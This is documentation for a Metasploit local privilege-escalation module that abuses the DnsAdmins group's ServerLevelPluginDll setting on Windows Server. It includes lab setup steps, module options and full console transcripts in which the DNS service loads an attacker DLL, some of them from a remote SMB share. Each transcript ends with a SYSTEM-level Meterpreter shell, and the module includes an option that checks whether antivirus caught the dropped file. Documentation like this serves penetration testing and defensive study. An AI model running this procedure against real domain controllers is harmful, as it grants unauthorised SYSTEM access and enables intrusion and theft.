## Vulnerable Application Windows Server 2003 and above #### Introduction This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the `ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\` named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. Restarting the DNS service will then result in the attacker's DLL being loaded and executed as the SYSTEM user, thereby granting the attacker SYSTEM privileges. Note that if the option to drop the DLL file on the host is selected (instead of the option to use a UNC path), there is a possibility that antivirus may detect the DLL file and remove it. In this case it will not be possible to restart the DNS service via the Service Manager without first clearing out the `ServerLevelPluginDll` value of the `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key using an account with administrator privileges. To avoid the potential of this occurring, this module has a configurable option, `AVTIMEOUT`, which allows users to configure how long they would like to wait for any potential AV to pick up on the file after which the module will then check to ensure the dropped DLL file exists prior to creating the `ServerLevelPluginDll` value within the `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key. It should also be noted that the UNC path option may run into a similar issue if an incorrect IP address is typed in, so users should be especially careful when setting the value of `DLLPATH` to ensure that they don't inadvertently set an incorrect IP address and thereby prevent the DNS server from being able to restart. This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows Server version up to and including Windows Server 2019. ### Setup Steps (Windows Server 2019 Standard) 1. Install Windows Server 2019 Standard with GUI 2. Install and configure Active Directory Domain Services and DNS services. 3. Promote the server to a domain controller once the initial setup wizard is complete. This will complete the setup of the AD. 4. Reboot 5. Add a new user which I called normal and set its password to a long string such as `thisIsADamnGoodPassword123!`. Don't use any other special characters or you may end up violating the default password policy. 6. Add this new user to two groups: `DnsAdmins` (should have been created with the installation of the DNS server and the AD Server), and `Remote Desktop Users`. See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info on how to do this. 7. To go `Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers -> Default Domain Controllers Policy` and right click on it, then select Edit. From here select Policies -> Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select the Allow log on locally policy underneath this and double click on it. Ensure the Define these policy settings option is checked, and then select Add User or Group and add in the name of the user that you just created. It should look something in the format of *domain name*\*user name*. Then click Apply and click OK. 8. Run gpupdate again. 9. Reboot 10. You should now be able to log in as the new user, which should also be in the DnsAdmins group. You can confirm this by running `net localgroup DnsAdmins` and confirming that the new user is listed as a member of this group in the output returned. 11. Run `wmic useraccount where name='*username of the new account*'` to get the SID of the new account that you added in earlier. 12. Run `sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)` in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command (aka the SID of the new low privileged user you added). ## Verification Steps 1. Get a Meterpreter shell 2. `use exploit/windows/local/dnsadmin_serverlevelplugindll` 3. `set PAYLOAD `. Payload architecture must be the same as the target system 4. `set LHOST ` 5. `set LPORT ` 6. `set SESSION ` to specify session 7. `set DLLNAME ` if you want to name your DLL something other than `msf.dll` 8. `set DLLPATH ` if you want to place your DLL somewhere other than `%TEMP%` or if you want to use a UNC path 9. `set MAKEDLL true` if you want to just make the DLL, and not carry out the exploit 10. `exploit` to get SYSTEM shell if `MAKEDLL` is set to `false`, or to write the DLL to the `~/.msf4/local` folder if `MAKEDLL` is set to `true` ## Options ### DLLNAME Name of the DLL to use. ### DLLPATH Location of the DLL to use. If a UNC path is provided, the module will assume that the operator has already performed the following actions: 1. Set up a working SMB2 share (via a tool such as Impacket's `smbserver.py` via a command such as `sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/` 2. Created a DLL of the same architecture as the target system and placed in within this share. ### MAKEDLL If set to `true`, then just create the DLL, do not conduct the full exploit. The resulting DLL will be stored in the `~/.msf4/local` directory. ### AVTIMEOUT Time, in seconds, to wait for any AV on the target system to potentially pick up on the dropped DLL file, prior to the module checking to see if the DLL file still exists. This is needed to prevent a scenario where the DLL file gets removed and the module tries to make changes that could prevent the DNS server from being able to start. ## Scenarios ### Windows Server 2019 Standard x64, writing `msf.dll` to `%TEMP%` ``` msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options Module options (exploit/windows/local/dnsadmin_serverlevelplugindll): Name Current Setting Required Description ---- --------------- -------- ----------- AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds. DLLNAME msf.dll yes DLL name (default: msf.dll) DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%) MAKEDLL false yes Just create the DLL, do not exploit. SESSION yes The session to run this module on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.17.168.195 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp PAYLOAD => windows/x64/meterpreter/bind_tcp msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123 RHOST => 172.17.169.123 msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1 SESSION => 1 msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788 LPORT => 7788 msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Checking service state... [*] Building DLL... [+] Wrote DLL to C:\Users\normal\AppData\Local\Temp\1\msf.dll! [*] Sleeping for 60 seconds to ensure the file wasn't caught by any AV... [+] Looks like our file wasn't caught by the AV. [!] Entering danger section... [*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\1\msf.dll... [+] Registry property serverlevelplugindll successfully reset. [*] Restarting the DNS service... [*] Started bind TCP handler against 172.17.169.123:7788 [*] Sending stage (200262 bytes) to 172.17.169.123 [*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.17.169.123:7788) at 2020-09-09 14:48:59 -0500 meterpreter > [+] Exited danger zone successfully! meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 2... msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x64/windows RAPID7\normal @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123) 2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123) msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2 [*] Starting interaction with 2... meterpreter > sysinfo Computer : WIN-M5JU6L5RA9L OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : RAPID7 Logged On Users : 12 Meterpreter : x64/windows meterpreter > ``` ### Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll The easiest way to set this up is to Impacket's `smbserver`. You can find the source code for Impacket at https://github.com/SecureAuthCorp/impacket. Download the latest release and untar it, then `cd` into the new directory that is created. You should see a file named `setup.py`. Run the command `sudo python3 setup.py install` and it will install Impacket for you. Once this is done, navigate to the `examples` directory and follow the following steps: ``` ~/Desktop/impacket-0.9.21/examples sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/ Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed ``` This will create a SMBv2 server, listening on IP address 172.17.168.195, with a share named `test`, that will be sharing the contents of the directory at `/home/gwillcox/.msf4/local/`. Next, set `MAKEDLL` to `true` and run the module to generate the payload. ``` msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll [*] Using configured payload windows/x64/meterpreter/bind_tcp msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 SESSION => 3 msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp PAYLOAD => windows/x64/meterpreter/bind_tcp msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688 LPORT => 6688 msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll DLLNAME => mp4.dll msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true MAKEDLL => true msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options Module options (exploit/windows/local/dnsadmin_serverlevelplugindll): Name Current Setting Required Description ---- --------------- -------- ----------- AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds. DLLNAME mp4.dll yes DLL name (default: msf.dll) DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%) MAKEDLL true yes Just create the DLL, do not exploit. SESSION 3 yes The session to run this module on. Payload options (windows/x64/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 6688 yes The listen port RHOST 172.17.169.123 no The target address Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Building DLL... [+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll [*] Started bind TCP handler against 172.17.169.123:6688 [*] Exploit completed, but no session was created. msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > ``` Once the DLL has been generated, one can proceed with the actual exploit: ``` msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false MAKEDLL => false msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\172.17.168.195\\test DLLPATH => \\172.17.168.195\test msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll DLLNAME => mp4.dll msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Checking service state... [*] Using user-provided UNC path. [!] Entering danger section... [*] Modifying ServerLevelPluginDll to point to \\172.17.168.195\test\mp4.dll... [+] Registry property serverlevelplugindll successfully reset. [*] Restarting the DNS service... [*] Started bind TCP handler against 172.17.169.123:6688 [*] Sending stage (200262 bytes) to 172.17.169.123 [*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.17.169.123:6688) at 2020-09-09 15:06:33 -0500 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : WIN-M5JU6L5RA9L OS : Windows 2016+ (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : RAPID7 Logged On Users : 12 Meterpreter : x64/windows meterpreter > ``` ### Windows Server 2019 Standard x64, just creating DLL ``` msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll [*] Using configured payload windows/x64/meterpreter/bind_tcp msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3 SESSION => 3 msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp PAYLOAD => windows/x64/meterpreter/bind_tcp msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688 LPORT => 6688 msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll DLLNAME => mp4.dll msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true MAKEDLL => true msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options Module options (exploit/windows/local/dnsadmin_serverlevelplugindll): Name Current Setting Required Description ---- --------------- -------- ----------- AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds. DLLNAME mp4.dll yes DLL name (default: msf.dll) DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%) MAKEDLL true yes Just create the DLL, do not exploit. SESSION 3 yes The session to run this module on. Payload options (windows/x64/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 6688 yes The listen port RHOST 172.17.169.123 no The target address Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit [*] Building DLL... [+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll [*] Started bind TCP handler against 172.17.169.123:6688 [*] Exploit completed, but no session was created. msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > ``` ## Notes 1. This module is not particularly opsec-safe as it drops a DLL to disk, writes to the registry, and is sure to generate a ton of event logs when the DNS service is stopped and restarted.. 2. Automatic cleanup of the dropped DLL is attempted if the DLL has been written to disk, but if automatic cleanup fails manual cleanup may be necessary.